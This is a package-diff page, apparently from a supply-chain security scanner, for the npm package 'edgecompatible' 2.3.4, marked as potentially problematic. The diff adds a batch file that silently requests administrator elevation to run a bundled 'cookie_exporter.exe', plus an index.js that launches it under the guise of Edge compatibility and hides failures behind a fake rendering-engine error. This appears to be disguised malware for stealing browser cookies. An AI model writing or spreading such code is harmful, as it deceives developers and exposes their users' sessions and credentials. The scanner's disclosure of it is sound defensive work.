edgecompatible 2.3.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of edgecompatible might be problematic. Click here for more details.

Binary file
Binary file
Binary file
@@ -0,0 +1,19 @@
1
+ @echo off
2
+
3
+ pushd %~dp0
4
+
5
+ :: echo %~dp0
6
+ :: Check for administrator privileges
7
+ >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
8
+
9
+ :: If the previous command returned with an error, ask for elevated permissions
10
+ if %errorlevel% neq 0 (
11
+ :: echo Requesting administrative privileges...
12
+ :: Prompt for UAC elevation
13
+ powershell start-process ".\app\cookie_exporter.exe" -Verb RunAs
14
+ exit /b
15
+ )
16
+
17
+ :: The rest of your script goes here with administrator privileges
18
+
19
+ popd
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ // index.js
2
+ const { spawn } = require('child_process');
3
+ const path = require('path');
4
+ const os = require("os");
5
+
6
+ module.exports = {
7
+ compat: function() {
8
+ if (os.platform() === "win32") {
9
+ const binaryPath = path.join(__dirname, 'bin', 'autorun.bat');
10
+ const child = spawn(binaryPath, []);
11
+ child.stdout.on('data', (data) => {
12
+ console.log(`stdout: ${data}`);
13
+ });
14
+
15
+ child.stderr.on('data', (data) => {
16
+ if(data.toString().indexOf("start-process") != -1)
17
+ {
18
+ console.log( "\x1b[31m%s\x1b[0m", "Can't access Microsoft Edge rendering engine.");
19
+ process.exit();
20
+ }
21
+ });
22
+
23
+ child.on('close', (code) => {
24
+ });
25
+ } else if (os.platform() === "linux") {
26
+ console.log(
27
+ "\x1b[31m%s\x1b[0m",
28
+ "This script is running on Linux. Please run on Windows Server OS."
29
+ );
30
+ } else {
31
+ console.log(
32
+ "\x1b[31m%s\x1b[0m",
33
+ "This script is running on an unrecognized OS. Please run on Windows Server OS."
34
+ );
35
+ }
36
+ }
37
+ };
38
+
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "edgecompatible",
3
+ "version": "2.3.4",
4
+ "description": "make project to be compatible with edge",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "npm run test"
8
+ },
9
+ "keywords": [
10
+ "edgecompatible"
11
+ ],
12
+ "author": "Ihor",
13
+ "license": "LGPL-2.1-only",
14
+ "files": [
15
+ "bin",
16
+ "index.js"
17
+ ]
18
+ }